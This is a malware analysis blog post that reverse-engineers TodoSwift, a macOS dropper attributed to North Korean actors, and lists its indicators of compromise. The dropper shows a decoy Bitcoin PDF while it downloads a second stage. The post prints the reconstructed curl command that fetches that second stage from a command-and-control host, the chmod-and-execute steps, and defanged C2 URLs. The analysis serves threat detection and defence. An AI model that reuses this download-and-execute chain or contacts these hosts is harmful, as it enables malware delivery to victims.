TodoSwift Disguises Malware Download Behind Bitcoin PDF
A signed file named TodoTasks was uploaded to VirusTotal on 2024-07-24. This application shares several behaviors with malware we’ve seen that originated in North Korea (DPRK)—specifically the threat actor known as BlueNoroff—such as KandyKorn and RustBucket; given these commonalities, we believe this new malware—which we’re dubbing TodoSwift—is likely from the same source.
In this post, we wanted to focus particularly on the malware’s dropper, a GUI application that’s written in Swift/SwiftUI. Under the guise of downloading and presenting a PDF to the user, it simultaneously downloads and executes a malicious stage 2 binary.
TodoTasksDocument makeWindowControllers]
We will start by looking at how that application presents that PDF to the user.
It begins with a call to makeWindowControllers
, since this sets up the application’s malicious behavior. According to Apple, this method ”creates the window controller objects that the document uses to display its content.” In this case, the application sends this method to a custom NSDocument
object named TodoTaskDocument
. All the behavior described in the rest of this post originates from this method call; we’ll soon see why.
100006464 void -[_TtC9TodoTasks8Document makeWindowControllers](struct _TtC9TodoTasks8Document* self, SEL sel)
100006470 id x0 = _objc_retain(obj: self)
100006478 GoogleDocANDBuy2xURLs(x0)
100006488 return _objc_release(obj: x0) __tailcall
This method calls a subroutine (which I’ve renamed GoogleDocANDBuy2xURLs()
), which accepts the TodoTaskDocument
object as an argument. This function is critical to what the user will see when this windowController
is loaded by the application.
GoogleDocANDBuy2xURLs()
At the start of this call, we see that two URLs are loaded and passed to a function that I renamed buildCurlCommand
.
10000613c e80880d2 mov x8, #0x47
100006140 0800faf2 movk x8, #0xd000, lsl #0x30 {0xd000000000000047}
100006144 092d0091 add x9, x8, #0xb {0xd000000000000052}
100006148 8a0000f0 adrp x10, 0x100019000
10000614c 4a410791 add x10, x10, #0x1d0
100006150 // b'hxxps[:]//drive.usercontent.google.com/download?id=1xflBpAVQrwIS3UQqynb8iEj6gaCIXczo'
100006150 4a8100d1 sub x10, x10, #0x20
100006154 4a0141b2 orr x10, x10, #0x8000000000000000 {0x80000001000191b0}
100006158 092801a9 stp x9, x10, [x0, #0x10] {0xd000000000000052} {0x80000001000191b0}
10000615c 890000f0 adrp x9, 0x100019000
100006160 29c10891 add x9, x9, #0x230
100006164 298100d1 sub x9, x9, #0x20
100006168 290141b2 orr x9, x9, #0x8000000000000000 {0x8000000100019210}
10000616c // b'hxxp[:]//buy2x.com/OcMySY5QNkY/ABcTDInKWw/4SqSYtx%2B/EKfP7saoiP/BcA%3D%3D'
10000616c 082402a9 stp x8, x9, [x0, #0x20] {0xd000000000000047} {0x8000000100019210}
Looking at the disassembled code, we can see that prior to the call to the curl
-related function, two large Swift strings are set up.
The first Swift string:
100006154 4a0141b2 orr x10, x10, #0x8000000000000000 {0x80000001000191b0}
100006158 092801a9 stp x9, x10, [x0, #0x10] {0xd000000000000052} {0x80000001000191b0}
X0
is passed the values of {0xd000000000000052}
and {0x80000001000191b0}
, beginning at the offset of 0x10
. The first (0xd000000000000052
) indicates the length of the string (0x52
bytes). The second (0x80000001000191b0
) indicates that this is a large Swift string. It contains a pointer to the string that will need the nativeBias
(+0x20
) added to obtain the actual string. NativeBias
is defined in the StringObject.swift file on the Swift Language Github and is added to this pointer to determine the actual address of the string which will also match the length of 0x52
bytes.
Using Binary Ninja, we can read the bytes from this location and see the string:
>>> bv.read(0x1000191b0+0x20, 0x52)
b'hxxps[:]//drive.usercontent.google.com/download?id=1xflBpAVQrwIS3UQqynb8iEj6gaCIXczo'
The defanged address above results in a Google Drive link. As reported by Elastic, Similar use of a Google Drive link has been observed in previous DPRK malware, including KandyKorn.
The second Swift string:
100006168 290141b2 orr x9, x9, #0x8000000000000000 {0x8000000100019210}
10000616c 082402a9 stp x8, x9, [x0, #0x20] {0xd000000000000047} {0x8000000100019210}
X0
is passed the values {0xd000000000000047}
and {0x8000000100019210}
beginning at the offset of 0x20
. That’s 16 bytes away from the first string and indicates these two strings are passed next to each other inside the allocated space.
0xd000000000000047
indicates the length of the string (0x47 bytes
). 0x8000000100019210
indicates that this is a large Swift string and contains a pointer to the string that will need the nativeBias
(+ 0x20
) added to obtain the actual string.
Using Binary Ninja, we can read the bytes from this location to see the actual string:
>>> bv.read(0x100019210+0x20, 0x47)
b'hxxp[:]//buy2x.com/OcMySY5QNkY/ABcTDInKWw/4SqSYtx%2B/EKfP7saoiP/BcA%3D%3D'
That’s how the Swift strings are set up; now we can see how they are used.
Prior to the Swift strings, there's a call to _swift_allocObject()
. This creates a heap object of a specific size.
100006124 dffbff97 bl metadata accessor for TodoTasksContentMsgView
100006128 f40300aa mov x20, x0
10000612c 01068052 mov w1, #0x30 // 48 bytes of space
100006130 e2008052 mov w2, #0x7
100006134 343f0094 bl _swift_allocObject
100006138 f60300aa mov x22, x0
As defined in the Swift Github, this function takes in three arguments:
HeapMetadata const *Metadata
size_t requiredSize
size_t requiredAlignmentMask
We can see that X0
has the value returned for the TodoTaskContentMsgView
metadata call, the requiredSize
is set to 0x30
(48 bytes), and the requiredAlignmentMask
is 0x7
. This will return a pointer to a heap object in X0
after the function call and it is saved in x22
. Due to memory alignment, we can see the alignmentMask
is set to 7
, which is -1
from 8
, specifying an 8-byte memory alignment. This is part of memory alignment for this new heap object.
Now that we have this allocated space of 48 bytes, we know the first 16 bytes will contain the metadata and reference count; the two Swift strings that were allocated above are then added to this buffer on the heap.
The first Swift string allocation:
100006158 092801a9 stp x9, x10, [x0, #0x10] {0xd000000000000052} {0x80000001000191b0}
The second Swift string allocation:
10000616c 082402a9 stp x8, x9, [x0, #0x20] {0xd000000000000047} {0x8000000100019210}
This shows that the offset of the first string starts at x0+0x10
, and the second at x0+0x20
. Swift strings are structs that are 16 bytes long, so this results in two 16-byte values being added to this buffer:
- Buffer address:
X0
- Metadata and reference count:
X0
- Start of first Swift string:
X0 + 0x10 offset
- Start of second Swift string:
X0 + 0x20 offset
This buffer containing the two strings is then passed to an ObservedObject.init(wrappedValue:)
call, which (according to Apple) “creates an observed object with an initial wrapped value” that is passed in. In this case, the initialized object is then passed to a function that I’ve renamed buildCurlCommand
:
100006174 // allocated space = X0 and it's moved into x2
100006174 e20300aa mov x2, x0
100006178 e00316aa mov x0, x22 // reference to allocated space
10000617c e10314aa mov x1, x20
100006180 // swiftUI will now observe this allocated space
100006180 563d0094 bl ObservedObject.init(wrappedValue:)
100006184 f60301aa mov x22, x1
100006188 f40301aa mov x20, x1
10000618c 8dfbff97 bl buildCurlCommand
buildCurlCommand()
The allocated space containing the URL strings is passed to this function via register x20
, a Swift-specific calling convention. Since we know that two strings exist in the buffer that was passed to this function, we will name them according to which string they are; each is used differently by this function, and it’s important to know the difference.
There is a call to a function (which I renamed callToCurl
) that accepts the first string for Google Drive, as well as two others we will look at below.
100005000 int32_t success = callToCurl(firstSwiftString_pt1: *(AllocatedSpaceWithURLS + 0x10), firstSwiftString_pt2: *(AllocatedSpaceWithURLS + 0x18), StringStruct_1_ouputPath: 0xd000000000000018, StringStruct_2_ouputPath: 0x8000000100019080, strStruct(pw|gc) p1: 'gc', strStruct(pw|gc) p2: 0xe200000000000000)
There are three Swift strings passed to this function:
callToCurl(
firstSwiftString_pt1: *(AllocatedSpaceWithURLS + 0x10),
firstSwiftString_pt2: *(AllocatedSpaceWithURLS + 0x18),
StringStruct_1_ouputPath: 0xd000000000000018,
StringStruct_2_ouputPath: 0x8000000100019080,
strStruct(pw|gc) p1: 'gc',
strStruct(pw|gc) p2: 0xe200000000000000
We know that the first string for Google Drive was passed in, since we see a reference to the buffer + 0x10
and 0x18
offsets.
Next, another large Swift string is set up:
(0x8000000100019080, 0xd000000000000018) = 0x100019080+0x20 (nativeBias) = 0x1000190a0
Using Binary Ninja, we see:
bv.read(0x1000190a0, 0x18):
b'/tmp/GoogleMsgStatus.pdf'
This results in a file named GoogleMsgStatus.pdf in the /tmp directory, which will be used as the output path for an upcoming command.
Lastly, a third Swift string is passed, ('gc', 0xe200000000000000)
. This could be used as a potential flag for this function call.
Now that we know what is passed to this callToCurl()
function, let’s see how it works.
callToCurl()
Looking ahead, we can see that this function sets up an NSTask
object to execute a curl
command. What is most interesting is that this function has several conditional statements that determine which NSTask
to create, based on the flag that is passed in to it.
As we just saw, the first time this is called, the string gc
is passed in as the flag. Let’s see how that’s used.
First, we see a call to initialize the NSTask
object:
1000053a8 struct objc_object* task = -[_TtC9TodoTasks8Document init](self: _objc_allocWithZone(cls: _OBJC_CLASS_$_NSTask, zone), sel: "init")
Next is the first comparison:
1000053c4 if (strStruct(pw|gc) p1 != 'pw' || strStruct(pw|gc) Size != 0xe200000000000000)
1000053dc stringMatch = _stringCompareWithSmolCheck(_:_:expecting:)(strStruct(pw|gc) p1, strStruct(pw|gc) Size, 'pw', 0xe200000000000000, 0)
If the flag that was passed in is not pw
or is not 0x2
bytes in size, it then runs the stringCompareWithSmolCheck()
function, which checks whether string values are equal and returns a Boolean value. This value is then used in another if
statement:
1000053e0 if ((strStruct(pw|gc) p1 != 'pw' || strStruct(pw|gc) Size != 0xe200000000000000) && (stringMatch.d & 1) == 0)
This means that if the flag is not pw
, we then continue. Since the first call to this function passed in gc
, that’s what happens here.
The second branch to this callToCurl
function from the caller passes in the flag pw
. This indicates that this function was designed to be used multiple times and has logic to run different code depending on the flag value that was passed in.
At this point, an NSTask
object is being set up, and arguments to a task object are passed in an array. Given the offsets seen in the decompilation, we can determine this to be the Swift array being loaded with arguments. Let’s walk through what is being passed.
10000547c void* arg array_2 // if GC
10000547c int128_t v0_1
10000547c arg array_2, v0_1 = _swift_allocObject(sub_1000042e8(&data_100021f70), 0x60, 7)
100005484 arg array = arg array_2 // x28 alloc'd space
100005490 *(arg array_2 + 0x10) = data_10001a5f0
100005494 *(arg array_2 + 0x20) = firstSwiftString_pt1
100005494 *(arg array_2 + 0x28) = firstSwiftString_pt2
10000549c *(arg array_2 + 0x30) = '-o'
10000549c *(arg array_2 + 0x38) = 0xe200000000000000
1000054a0 StringStruct_1_ouputPath_2 = StringStruct_1_ouputPath_1
1000054a4 *(arg array_2 + 0x40) = StringStruct_1_ouputPath_2
1000054a4 *(arg array_2 + 0x48) = StringStruct_2_ouputPath
1000054ac *(arg array_2 + 0x50) = '-s' // curl URL -o outputPath -s
1000054ac *(arg array_2 + 0x58) = 0xe200000000000000
1000054b0 strStruct(pw|gc) Size = firstSwiftString_pt2
First, there is a call to swift_allocObject
, which we’ve already covered. This is going to return a heap object of size 0x60
. The value stored at 0x10001a5f0
(metadata) will be stored at the offset of +0x10
. The first Swift string that was passed to this function is then stored at 0x20
and 0x28
for 16 bytes in this array. This will be the Google Doc URL.
Next, let’s look at how this array is converted and passed to the setArguments
method.
1000054b8 _swift_bridgeObjectRetain(strStruct(pw|gc) Size)
1000054c0 _swift_bridgeObjectRetain(StringStruct_2_ouputPath)
1000054cc // Swift array bridged to objectiveC array
1000054d0 int64_t objC_ARG_array = Array._bridgeToObjectiveC()(arg array, type metadata for String)
1000054dc _swift_release(arg array)
1000054f0 _objc_msgSend(self: task, cmd: "setArguments:", objC_ARG_array)
After the Swift array is loaded with the values required to execute the curl
command, it is converted to an NSArray
using the bridgeToObjectiveC()
function. This will convert the Swift array to an NSArray
type via a bridge. This NSArray
(which I renamed objC_ARG_array
) will then be passed as the argument to the setArguments
method.
In Objective-C, this would look like: [task setArguments: objC_ARG_array]
.
After this setup is completed, we then have the path to curl
initialized and passed to the NSTask
object:
100005520 URL.init(fileURLWithPath:)('/usr/bin', '/curl\x00\x00\xed')
100005524 int64_t curl_NSURL = URL._bridgeToObjectiveC()()
10000552c (*(x21 + 8))(&StringStruct_1_ouputPath_1 - ((x8_2 + 0xf) & 0xfffffffffffffff0), x0)
10000554c _objc_msgSend(self: task, cmd: "setExecutableURL:", curl_NSURL)
100005554 _objc_release(obj: curl_NSURL)
100005558 id null = nullptr
10000556c int32_t x0_17 = _objc_msgSend(self: task, cmd: "launchAndReturnError:", &null)
The path to curl—/usr/bin/curl
—is initialized as a Swift URL, which is then bridged to convert to an NSURL
, which I've renamed curl_NSURL
. This is then passed as the argument to the setExecutableURL
method. This NSTask
is then executed with [task launchAndReturnError]
.
Back to buildCurlCommand()
Now, let’s return to the caller buildCurlCommand()
to continue execution.
The call to callToCurl()
returns a Boolean value renamed success
, which is checked before continuing to the next part of the function.
100005004 if ((success & 1) != 0)
100005010 // /tmp/GoogleMsgStatus.pdf
100005010 openPDFSetup(strstructFilePath_/tmp/GoogleMsgStatus.pdf: 0xd000000000000018, strstructFilePath2_/tmp/GoogleMsgStatus.pdf: 0x8000000100019080)
In other words, if success = 1
, we then continue with a function that I’ve renamed openPDFSetup
. This function accepts a Swift string /tmp/GoogleMsgStatus.pdf
.
openPDFSetup()
Now that the PDF has been downloaded via the curl
command, which was executed by the NSTask
object, this function manages the presentation of the PDF to the user. Remember that all of this activity is the result of the makeWindowControllers
method to handle an NSDocument
; in this case, that will result in the application displaying the downloaded PDF. Here’s how that works.
1000056dc __builtin_strcpy(dest: &file://, src: "file://")
1000056dc int64_t sizeOfString = 0xe700000000000000
1000056ec String.append(_:)(strstructFilePath_/tmp/GoogleMsgStatus.pdf, strstructFilePath2_/tmp/GoogleMsgStatus.pdf)
1000056fc // initialize the file://pathToGoogle.pdf
1000056fc URL.init(string:)(file://, sizeOfString)
The Swift String file://
(a file URI) is initialized and the string /tmp/GoogleMsgStatus.pdf
is appended to it.
This results infile:///tmp/Google/MsgStatus.pdf
, which is passed to the URL.init()
call to initialize a Swift URL. That URL is then used with an NSWorkspace
object:
100005768 struct objc_object* sharedWorkspace = _objc_retainAutoreleasedReturnValue(obj: _objc_msgSend(self: _objc_opt_self(obj: _OBJC_CLASS_$_NSWorkspace), cmd: "sharedWorkspace"))
100005774 id file://pdfFile = URL._bridgeToObjectiveC()()
10000578c _objc_msgSend(self: sharedWorkspace, cmd: "openURL:", file://pdfFile)
A sharedWorkspace
object is created using the NSWorkspace
class. This object is then passed the openURL
method, using the PDF file’s URI created before. This will open the PDF. That PDF—entitled “Bitcoin Price Prediction Using Machine Learning"— does not appear to be malicious in itself, but the use of artifacts relating to cryptocurrency aligns with previous DPRK targeting practices.
Back to BuildCurlCommand()
Now that the PDF has been presented, the dropper executes another call to curl
, this time passing a different flag to download the malicious file.
10000503c curlSuccess = callToCurl(firstSwiftString_pt1: *(AllocatedSpaceWithURLS + 0x20), firstSwiftString_pt2: *(AllocatedSpaceWithURLS + 0x28), StringStruct_1_ouputPath: 0xd000000000000011, StringStruct_2_ouputPath: 0x80000001000190a0, strStruct(pw|gc) p1: 'pw', strStruct(pw|gc) p2: 0xe200000000000000)
We’ve already covered the callToCurl()
function, so let’s focus on the specifics of this second instance, which uses the pw
flag.
1000053f8 arg array_1, v0 = _swift_allocObject(sub_1000042e8(&data_100021f70), 0xa0, 7)
1000053fc arg array = arg array_1
100005408 *(arg array_1 + 0x10) = data_10001a600
10000540c *(arg array_1 + 0x20) = firstSwiftString_pt1
10000540c *(arg array_1 + 0x28) = firstSwiftString_pt2
100005418 *(arg array_1 + 0x30) = '-d'
100005418 *(arg array_1 + 0x38) = 0xe200000000000000
10000541c *(arg array_1 + 0x40) = strStruct(pw|gc) p1
10000541c *(arg array_1 + 0x48) = strStruct(pw|gc) Size
Due to the pw
flag that was passed in, we start at the else
portion of the if
statement we covered previously. This creates a Swift array and adds metadata at +0x10
offset. The buy2x
URL Swift string is added at 0x20
offset. Then, a -d
argument is added to this array, along with its size. Since we know we are building a curl
command, we can see that the -d
argument is for data that would be passed in a POST request. The next Swift string is the passed data, which in this case would be pw
at offset +0x40
.
We can look at the strings that are added to this array in the disassembly:
100005424 082405a9 stp x8, x9, [x0, #0x50] {'-A'} {0xe200000000000000}
100005428 881180d2 mov x8, #0x8c
10000542c 0800faf2 movk x8, #0xd000, lsl #0x30 {0xd00000000000008c}
100005430 aa000090 adrp x10, 0x100019000
100005434 4a810391 add x10, x10, #0xe0
100005438 4a8100d1 sub x10, x10, #0x20
10000543c 4a0141b2 orr x10, x10, #0x8000000000000000 {0x80000001000190c0}
100005440 // b'mozilla/5.0 (macintosh; intel mac os x 10_15_7)
100005440 // applewebkit/537.36 (khtml, like gecko ms-office;)
100005440 // compatible; chrome/125.0.0.0 safari/537.36'
100005440 082806a9 stp x8, x10, [x0, #0x60] {0xd00000000000008c} {0x80000001000190c0}
100005440 082806a9 stp x8, x10, [x0, #0x60] {0xd00000000000008c} {0x80000001000190c0}
100005444 a8e58d52 mov w8, #0x6f2d
100005448 082407a9 stp x8, x9, [x0, #0x70] {'-o'} {0xe200000000000000}
At offset +0x50
, the Swift string -A
(a curl
argument to specify the user agent) is added. Then, a large Swift string is added to this array in the form of a user agent which would be passed after the -A
. At offset +70
, the Swift string -o
is added to specify the output file location.
We can look at the two Swift strings that are added to this array through decompilation.
100005450 *(arg array_1 + 0x80) = StringStruct_1_ouputPath_2
100005450 *(arg array_1 + 0x88) = StringStruct_2_ouputPath
100005458 *(arg array_1 + 0x90) = '-s'
100005458 *(arg array_1 + 0x98) = 0xe200000000000000
The output path is added to the Swift array /tmp/NetMsgStatus
at offset +0x80
. Lastly, the string -s
(for silent) is added.
After this argument is set up, the array is converted to an NSArray
and passed to the setArguments
method. The same setup for the path to the curl
binary is then passed to the setExectuableURL
method, and the task is then executed. This downloads the stage 2 binary in the /tmp directory.
This curl
command would look similar to this:
curl "maliciousURL" -d "pw" -A "mozilla/5.0 (macintosh; intel mac os x 10_15_7) applewebkit/537.36 (khtml, like gecko ms-office;) compatible; chrome/125.0.0.0 safari/537.36" -o "/tmp/NetMsgStatus" -s
This also shows how the command-and-control (C2) server may have been expecting specific bytes before it would deliver the stage 2 binary.
Back to BuildCurlCommand() Again
Now that the stage 2 binary is downloaded, another NSTask
is set up to execute it, which would be the conclusion of this dropper. Here’s how that works.
100005040 if ((success & 1) == 0 || (curlSuccess & 1) == 0)
10000505c successLaunch? = 1
100005040 else
100005050 // /tmp/NetMsgStatus
100005054 successLaunch? = chmodAndExecute(stringStructP1 - netPath: 0xd000000000000011, stringStructP2 - netPath: 0x80000001000190a0, AllocatedSpaceWithURLS) ^ 1
After the second call to set up curl
, the return value is checked to ensure that it is downloaded.
chmodAndExecute()
Next, a function I renamed chmodAndExecute
is called. This function sets up two different NSTasks
: one to make the file executable, another to actually execute the file. This function also takes the Swift string of the path /tmp/NetMsgStatus
to the stage 2 binary as an argument. Here’s how that works.
100004cf8 struct objc_object* Task = -[_TtC9TodoTasks8Document init](self: _objc_allocWithZone(cls: _OBJC_CLASS_$_NSTask, zone), sel: "init")
100004d08 int64_t x0_3 = sub_1000042e8(&data_100021f70)
100004d18 void* argArray = _swift_allocObject()
100004d28 __builtin_memcpy(dest: argArray + 0x10, src: "\x02\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x37\x37\x37\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe3", n: 0x20)
100004d3c *(argArray + 0x30) = stringStructP1 - netPath
100004d3c *(argArray + 0x38) = stringStructP2 - netPath
100004d44 _swift_bridgeObjectRetain(stringStructP2 - netPath)
100004d54 int64_t array(String) = Array._bridgeToObjectiveC()(argArray, type metadata for String)
100004d60 _swift_release(argArray)
100004d74 _objc_msgSend(self: Task, cmd: "setArguments:", array(String))
Another NSTask
object is created, and a heap object is allocated to be used as the argument array. This begins setting up the chmod
process, passing 777
, which can be seen as the hex values 0x373737
. This Swift array is then bridged to an NSArray
and passed to the setArguments
method.
100004d9c URL.init(fileURLWithPath:)('/bin/chm', 'od\x00\x00\x00\x00\x00\xea')
100004da0 int64_t chmodCommand = URL._bridgeToObjectiveC()()
100004da8 int64_t x27_1 = *(x28 + 8)
100004db4 x27_1(x20, x0)
100004dc8 _objc_msgSend(self: Task, cmd: "setExecutableURL:", chmodCommand)
A Swift URL is initialized using the path for /bin/chmod
. This is bridged to convert an NSURL
and passed to the setExecutableURL
method. This task is launched, which will add execute permissions to the stage 2 binary. Another NSTask
object is set up to execute the stage 2 binary along with a launch
argument.
100004e20 struct objc_object* task2 = -[_TtC9TodoTasks8Document init](self: _objc_allocWithZone(cls: _OBJC_CLASS_$_NSTask, zone: _objc_msgSend(self: Task, cmd: "waitUntilExit")), sel: "init")
100004e34 void* argArray_1
100004e34 int128_t v0_1
100004e34 argArray_1, v0_1 = _swift_allocObject(x0_3, 0x30, 7)
100004e44 *(argArray_1 + 0x10) = data_10001a5e0
100004e48 int64_t buy2xURL = *(allocatedURLs + 0x28)
100004e4c *(argArray_1 + 0x20) = *(allocatedURLs + 0x20)
100004e4c *(argArray_1 + 0x28) = buy2xURL
100004e50 _swift_bridgeObjectRetain(buy2xURL)
100004e60 int64_t array = Array._bridgeToObjectiveC()(argArray_1, type metadata for String)
100004e6c _swift_release(argArray_1)
100004e80 _objc_msgSend(self: task2, cmd: "setArguments:", array)
Space allocations for the Google Drive URL and the buy2x URL were passed to this function and are now used to populate the first argument in the NSTask
argument array. This array is then bridged to an NSArray
and passed to the setArguments
method. This means the stage 2 binary will be launched with the buy2x URL as a launch argument. This behavior of passing a URL as a launch argument has been seen in previous DPRK malware.
100004e98 URL.init(fileURLWithPath:)(stringStructP1 - netPath, stringStructP2 - netPath)
100004e9c int64_t pathToNetBinary = URL._bridgeToObjectiveC()()
100004eac x27_1(x20, x0)
100004ebc _objc_msgSend(self: task2, cmd: "setExecutableURL:", pathToNetBinary)
100004ec4 _objc_release(obj: pathToNetBinary)
100004ec8 null = nullptr
100004edc int32_t launchSuccess? = _objc_msgSend(self: task2, cmd: "launchAndReturnError:", &null)
The path to the stage 2 /tmp/NetMsgStatus
is initialized as a Swift URL, bridged to an NSURL
and then passed to the setExecutableURL
method. This task is then launched. This begins the execution of the second stage binary.
Summary
This application appears to be designed to seem like legitimate information about potential Bitcoin prices. The use of a Google Drive URL and passing the C2 URL as a launch argument to the stage 2 binary is consistent with previous DPRK malware affecting macOS systems. We are still assessing the full functionality of this binary, but wanted to get our findings about how it’s transmitted out to the public as soon as possible.
IOCs
SHA-256 Hash of mach-O Analyzed
- f1b3ce96462027644f9caa314d3da745dab139ee1cb14fe508234e76bd686f93
Additional SHA-256 Hashes
- 9623c98f7338d56b07b35cd379e31e685e32a9c5317d7bc4af5276916cef4ed3
- f1b3ce96462027644f9caa314d3da745dab139ee1cb14fe508234e76bd686f93
- 9b839e9169babff1d14468d9f8497c165931dc65d5ff1f4b547925ff924c43fe
- c52e3e73d7870bf8edc1b9ae52b26c08ef2466f948ef3446b2c865fd53d859dd
GoogleMsgStatus.pdf SHA-256 Hash
- e09d2277a19dddd751edb164bde064682a6acc41a7ee178a2dacd4f9ac357fc7
Application Bundle and mach-O
- Risk factors for Bitcoin's price decline are emerging(2024).app/Contents/MacOS/TodoTasks
Code Signature Information
- Identifier: MasaMatsu.TodoTasks
- Format: Mach-O universal (x86_64 arm64)
- CodeDirectory
- v: 20500
- size: 1887
- flags: 0x10000(runtime)
- hashes: 48+7
- location: embedded
- Hash type: sha256 size=32
- CandidateCDHash sha256: a55029c963ff454e42483b9b6f0293dc546e06b2
- CandidateCDHashFull sha256: a55029c963ff454e42483b9b6f0293dc546e06b2fb71e6ebaa4c6f146a9906a3
- Hash choices: sha256
- CMSDigest: a55029c963ff454e42483b9b6f0293dc546e06b2fb71e6ebaa4c6f146a9906a3
- CMSDigestType: 2
- CDHash: a55029c963ff454e42483b9b6f0293dc546e06b2
- Signature size: 8958
- Authority: Developer ID Application: Leap World Hongkong Limited (TL684RWA2X)
- Authority: Developer ID Certification Authority
- Authority: Apple Root CA
- Timestamp: Jul 17, 2024 at 2:37:18 AM
- Info.plist: not bound
- TeamIdentifier: TL684RWA2X
- Runtime Version: 14.4.0
Google Drive For Bitcoin Related Document Download
- hxxps[:]//drive[.]usercontent.google[.]com/download?id=1xflBpAVQrwIS3UQqynb8iEj6gaCIXczo
C2
- hxxp[:]//buy2x[.]com/OcMySY5QNkY/ABcTDInKWw/4SqSYtx%2B/EKfP7saoiP/BcA%3D%3D
About Kandji
Kandji is the Apple device management and security platform that empowers secure and productive global work. With Kandji, Apple devices transform themselves into enterprise-ready endpoints, with all the right apps, settings, and security systems in place. Through advanced automation and thoughtful experiences, we’re bringing much-needed harmony to the way IT, InfoSec, and Apple device users work today and tomorrow.
See Kandji in Action
Experience Apple device management and security that actually gives you back your time.
See Kandji in Action
Experience Apple device management and security that actually gives you back your time.